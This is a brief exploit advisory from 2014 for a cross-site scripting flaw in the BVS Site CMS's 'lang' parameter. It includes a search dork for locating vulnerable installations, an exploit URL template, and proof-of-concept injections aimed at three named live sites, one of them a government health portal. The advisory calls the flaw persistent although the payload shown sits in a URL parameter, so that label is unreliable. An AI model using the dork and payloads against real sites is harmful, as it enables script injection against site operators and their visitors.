[+] Persistent Cross Site Scripting on BVS Site
[+] Date: 02/05/2014
[+] Risk: HIGH
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://trac.reddes.bvsalud.org/projects/bvs-site/wiki/Downloads
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: index.php
[+] Dork : inurl:"/php/index.php?lang="
[+] vulnerable versions: 4.0.1 , 5.2.1 
[+] Exploit : http://host/php/index.php?lang=[XSS]
[+] PoC :http://estacaobvs.saude.gov.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
         http://www.scielo.org/php/index.php?lang=<center>Felipe Andrian Peixoto</center>
         http://www.bvmemorial.fapesp.br/php/index.php?lang=<center>Felipe Andrian Peixoto</center>

ps:others versions may be affected